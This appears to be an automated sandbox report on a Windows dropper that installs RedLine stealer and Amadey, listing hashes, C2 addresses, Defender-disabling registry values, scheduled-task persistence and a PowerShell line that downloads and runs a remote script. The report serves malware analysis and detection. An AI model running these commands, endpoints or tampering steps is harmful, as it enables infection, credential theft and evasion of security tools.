Analysis
-
max time kernel
143s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
20-03-2023 19:39
Static task
static1
General
-
Target
2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd.exe
-
Size
961KB
-
MD5
0681a636c666f948a4c3c036b591a837
-
SHA1
ee67f748ea42c52c5378d6045c4cfa19c9df2399
-
SHA256
2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd
-
SHA512
a75ef6f7e9276f8edc1336224ecb85bf4aebde762c2dd9415e6805f4116ec33e25a47fd994dacfa8216d97f76e84d49094f8180bbbe10a38473e18d534c8e10f
-
SSDEEP
24576:5y5C5O7rJE+1JnUnZB7iqXs5/7wnR6cyrp9Wnj:sQ47qgJUnzhejxcyrzW
Malware Config
Extracted
https://www.mdegmm.com/pdf/debug2.ps1
Extracted
redline
gena
193.233.20.30:4125
-
auth_value
93c20961cb6b06b2d5781c212db6201e
Extracted
redline
vint
193.233.20.30:4125
-
auth_value
fb8811912f8370b3d23bffda092d88d0
Extracted
amadey
3.68
62.204.41.87/joomla/index.php
Signatures
-
Processes:
tz0338.exev1041uG.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection tz0338.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" tz0338.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" tz0338.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" v1041uG.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" v1041uG.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" tz0338.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" tz0338.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" tz0338.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection v1041uG.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" v1041uG.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" v1041uG.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" v1041uG.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 18 IoCs
Processes:
resource yara_rule behavioral1/memory/3132-210-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-211-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-213-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-215-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-217-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-219-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-221-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-223-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-225-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-227-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-229-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-231-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-233-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-235-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-237-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-239-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-241-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline behavioral1/memory/3132-243-0x0000000002580000-0x00000000025BE000-memory.dmp family_redline -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exepowershell.exeflow pid process 54 4544 powershell.exe 55 4492 powershell.exe 56 4544 powershell.exe 57 4492 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
y53CD85.exelegenda.exesqlcmd.exesqlcmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation y53CD85.exe Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation legenda.exe Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation sqlcmd.exe Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation sqlcmd.exe -
Executes dropped EXE 13 IoCs
Processes:
zap4665.exezap3815.exezap5071.exetz0338.exev1041uG.exew83gE97.exexpqQG58.exey53CD85.exelegenda.exesqlcmd.exesqlcmd.exelegenda.exelegenda.exepid process 1280 zap4665.exe 1860 zap3815.exe 4212 zap5071.exe 820 tz0338.exe 4396 v1041uG.exe 3132 w83gE97.exe 4116 xpqQG58.exe 3012 y53CD85.exe 820 legenda.exe 1588 sqlcmd.exe 2212 sqlcmd.exe 1324 legenda.exe 2088 legenda.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 1664 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
v1041uG.exetz0338.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features v1041uG.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" v1041uG.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" tz0338.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 8 IoCs
Processes:
zap3815.exezap5071.exe2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd.exezap4665.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" zap3815.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce zap5071.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" zap5071.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce 2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" 2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce zap4665.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" zap4665.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce zap3815.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
Processes:
WerFault.exeWerFault.exepid pid_target process target process 2212 4396 WerFault.exe v1041uG.exe 4164 3132 WerFault.exe w83gE97.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Runs ping.exe 1 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 12 IoCs
Processes:
tz0338.exev1041uG.exew83gE97.exexpqQG58.exepowershell.exepowershell.exepid process 820 tz0338.exe 820 tz0338.exe 4396 v1041uG.exe 4396 v1041uG.exe 3132 w83gE97.exe 3132 w83gE97.exe 4116 xpqQG58.exe 4116 xpqQG58.exe 4544 powershell.exe 4544 powershell.exe 4492 powershell.exe 4492 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
tz0338.exev1041uG.exew83gE97.exexpqQG58.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 820 tz0338.exe Token: SeDebugPrivilege 4396 v1041uG.exe Token: SeDebugPrivilege 3132 w83gE97.exe Token: SeDebugPrivilege 4116 xpqQG58.exe Token: SeDebugPrivilege 4544 powershell.exe Token: SeDebugPrivilege 4492 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd.exezap4665.exezap3815.exezap5071.exey53CD85.exelegenda.execmd.exesqlcmd.execmd.exesqlcmd.execmd.exedescription pid process target process PID 2108 wrote to memory of 1280 2108 2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd.exe zap4665.exe PID 2108 wrote to memory of 1280 2108 2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd.exe zap4665.exe PID 2108 wrote to memory of 1280 2108 2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd.exe zap4665.exe PID 1280 wrote to memory of 1860 1280 zap4665.exe zap3815.exe PID 1280 wrote to memory of 1860 1280 zap4665.exe zap3815.exe PID 1280 wrote to memory of 1860 1280 zap4665.exe zap3815.exe PID 1860 wrote to memory of 4212 1860 zap3815.exe zap5071.exe PID 1860 wrote to memory of 4212 1860 zap3815.exe zap5071.exe PID 1860 wrote to memory of 4212 1860 zap3815.exe zap5071.exe PID 4212 wrote to memory of 820 4212 zap5071.exe tz0338.exe PID 4212 wrote to memory of 820 4212 zap5071.exe tz0338.exe PID 4212 wrote to memory of 4396 4212 zap5071.exe v1041uG.exe PID 4212 wrote to memory of 4396 4212 zap5071.exe v1041uG.exe PID 4212 wrote to memory of 4396 4212 zap5071.exe v1041uG.exe PID 1860 wrote to memory of 3132 1860 zap3815.exe w83gE97.exe PID 1860 wrote to memory of 3132 1860 zap3815.exe w83gE97.exe PID 1860 wrote to memory of 3132 1860 zap3815.exe w83gE97.exe PID 1280 wrote to memory of 4116 1280 zap4665.exe xpqQG58.exe PID 1280 wrote to memory of 4116 1280 zap4665.exe xpqQG58.exe PID 1280 wrote to memory of 4116 1280 zap4665.exe xpqQG58.exe PID 2108 wrote to memory of 3012 2108 2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd.exe y53CD85.exe PID 2108 wrote to memory of 3012 2108 2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd.exe y53CD85.exe PID 2108 wrote to memory of 3012 2108 2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd.exe y53CD85.exe PID 3012 wrote to memory of 820 3012 y53CD85.exe legenda.exe PID 3012 wrote to memory of 820 3012 y53CD85.exe legenda.exe PID 3012 wrote to memory of 820 3012 y53CD85.exe legenda.exe PID 820 wrote to memory of 4640 820 legenda.exe schtasks.exe PID 820 wrote to memory of 4640 820 legenda.exe schtasks.exe PID 820 wrote to memory of 4640 820 legenda.exe schtasks.exe PID 820 wrote to memory of 384 820 legenda.exe cmd.exe PID 820 wrote to memory of 384 820 legenda.exe cmd.exe PID 820 wrote to memory of 384 820 legenda.exe cmd.exe PID 384 wrote to memory of 3672 384 cmd.exe cmd.exe PID 384 wrote to memory of 3672 384 cmd.exe cmd.exe PID 384 wrote to memory of 3672 384 cmd.exe cmd.exe PID 384 wrote to memory of 368 384 cmd.exe cacls.exe PID 384 wrote to memory of 368 384 cmd.exe cacls.exe PID 384 wrote to memory of 368 384 cmd.exe cacls.exe PID 384 wrote to memory of 4984 384 cmd.exe cacls.exe PID 384 wrote to memory of 4984 384 cmd.exe cacls.exe PID 384 wrote to memory of 4984 384 cmd.exe cacls.exe PID 384 wrote to memory of 232 384 cmd.exe cmd.exe PID 384 wrote to memory of 232 384 cmd.exe cmd.exe PID 384 wrote to memory of 232 384 cmd.exe cmd.exe PID 384 wrote to memory of 4672 384 cmd.exe cacls.exe PID 384 wrote to memory of 4672 384 cmd.exe cacls.exe PID 384 wrote to memory of 4672 384 cmd.exe cacls.exe PID 384 wrote to memory of 4548 384 cmd.exe cacls.exe PID 384 wrote to memory of 4548 384 cmd.exe cacls.exe PID 384 wrote to memory of 4548 384 cmd.exe cacls.exe PID 820 wrote to memory of 1588 820 legenda.exe sqlcmd.exe PID 820 wrote to memory of 1588 820 legenda.exe sqlcmd.exe PID 820 wrote to memory of 1588 820 legenda.exe sqlcmd.exe PID 1588 wrote to memory of 2832 1588 sqlcmd.exe cmd.exe PID 1588 wrote to memory of 2832 1588 sqlcmd.exe cmd.exe PID 2832 wrote to memory of 4544 2832 cmd.exe powershell.exe PID 2832 wrote to memory of 4544 2832 cmd.exe powershell.exe PID 820 wrote to memory of 2212 820 legenda.exe sqlcmd.exe PID 820 wrote to memory of 2212 820 legenda.exe sqlcmd.exe PID 820 wrote to memory of 2212 820 legenda.exe sqlcmd.exe PID 2212 wrote to memory of 1864 2212 sqlcmd.exe cmd.exe PID 2212 wrote to memory of 1864 2212 sqlcmd.exe cmd.exe PID 1864 wrote to memory of 4492 1864 cmd.exe powershell.exe PID 1864 wrote to memory of 4492 1864 cmd.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd.exe"C:\Users\Admin\AppData\Local\Temp\2cd0720b522eb9485c83dddd58dfb5da3e7537d0be7615b94e048a16c637cabd.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4665.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4665.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap3815.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap3815.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap5071.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap5071.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz0338.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz0338.exe5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1041uG.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1041uG.exe5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 10846⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w83gE97.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w83gE97.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3132 -s 13525⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xpqQG58.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xpqQG58.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y53CD85.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y53CD85.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legenda.exe /TR "C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe" /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legenda.exe" /P "Admin:N"&&CACLS "legenda.exe" /P "Admin:R" /E&&echo Y|CACLS "..\f22b669919" /P "Admin:N"&&CACLS "..\f22b669919" /P "Admin:R" /E&&Exit4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "legenda.exe" /P "Admin:N"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "legenda.exe" /P "Admin:R" /E5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\f22b669919" /P "Admin:N"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\f22b669919" /P "Admin:R" /E5⤵
-
C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe"C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe" >> NUL5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\1000089001\sqlcmd.exe"C:\Users\Admin\AppData\Local\Temp\1000089001\sqlcmd.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000089001\sqlcmd.exe" >> NUL5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main4⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4396 -ip 43961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3132 -ip 31321⤵
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeC:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeC:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDAFilesize
2KB
MD5fc88b7748eb4cd37ae886a1c0813e4cf
SHA123e30b76fc94f0467a3efad342a91a3b84ff1eea
SHA2563d81e317f8816680185517d7719e51fdbcd5807f9c629c4e3d0408820ec458da
SHA512bb8ffaa2e8e581aa8d9a2e39b5f16c784d1431b4c18acc71b8fea84a4982d13a8ed1e5cf295c459ca35d8d4604c050210e0771386e7fe57d35c5ccd41fb92211
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691Filesize
1KB
MD5cb684ec7fe8555f949182c7423dafdc2
SHA1ec49f7b4b777fa1da40af5328785782127ffc52c
SHA2568e17b090e2d07abf04860e961e601d8c663d3eaafd16190e6e6b6a4f018c0b0e
SHA512ef627ca15ac143710b707ce28bd0cbe3447446db64c61f89d78f7c868cad07bd267563a7927ac4cd733adf2da3d58dcfadba54f8e0bc78e06d79cd389b77e500
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDAFilesize
482B
MD508b70781a983722b86947678a953184b
SHA1ba84f98b6605b9aa8aff3c6d37bc587ea775b543
SHA2561e22ae73b706c91b6be96d21da3226d515b9205efe07a598db6efd864a2648a7
SHA51263e2107e624d28a5921df76086e131d62ad4049e34b4ef94167002bd2e741bc5a98eba1af7e2ab03a8c8b7fbb83b2b89006c2b2136cd588b796b7a1e2ecff9f7
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691Filesize
486B
MD5db335b8f08e4f476f3ce41f6bfab8f95
SHA19c9423fefd3a17b905a9adbc1dbc0d237fc9bc18
SHA2561ca0336bbb9960753b1b7fd79044488c91167fc07050072eea79661806e59093
SHA512c8d0e5827faf9c33d9b4ad76878d6ea2d8a06cd7432ac0c93cc21f6f0c029272394449d4a2e733710c45c2be381562807d66669afb63fa859b76cbc458250fa2
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
400B
MD54351693622bd43caef42ce08038202c8
SHA1034d669201a01fcd9504df2ff72528c0637e7a50
SHA2561da0d31322dcae0f2ef9031fae45150e5a67e60e28e0df813eb56c4c9e7dd448
SHA512f77f35e3fe226e4678f27105dd5e45e77e7e4ef6f0a1b98df8435ff05f1e1c77c8bd0ff285143ae671562534a0aad4d64c2ab81d91e9ef8fdff6b9993bdecba4
-
C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exeFilesize
144KB
MD5b5baf2e6261a1fb05bb2654c8d099dd6
SHA12a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA2564a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA5124ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3
-
C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exeFilesize
144KB
MD5b5baf2e6261a1fb05bb2654c8d099dd6
SHA12a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA2564a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA5124ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3
-
C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exeFilesize
144KB
MD5b5baf2e6261a1fb05bb2654c8d099dd6
SHA12a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA2564a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA5124ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3
-
C:\Users\Admin\AppData\Local\Temp\1000089001\sqlcmd.exeFilesize
144KB
MD5b5baf2e6261a1fb05bb2654c8d099dd6
SHA12a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA2564a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA5124ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3
-
C:\Users\Admin\AppData\Local\Temp\1000089001\sqlcmd.exeFilesize
144KB
MD5b5baf2e6261a1fb05bb2654c8d099dd6
SHA12a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA2564a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA5124ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y53CD85.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y53CD85.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4665.exeFilesize
777KB
MD591b40c10fc32105c190f4c04b1b786ab
SHA1f1013a3c2c072f9f0a7152f991da610438ca4c86
SHA256646a8ac21a14234a4f94fcc382e89b602eda1184c85c8bf182e8650c0948937c
SHA512c19e8b725938949b1162bd498a63a7f35c6740c4c598f48fa414a531f46c2dbf7658c9b9ea5dd51622a378f23fdcbd4efa891c314d8c88f7d99022cd767253aa
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4665.exeFilesize
777KB
MD591b40c10fc32105c190f4c04b1b786ab
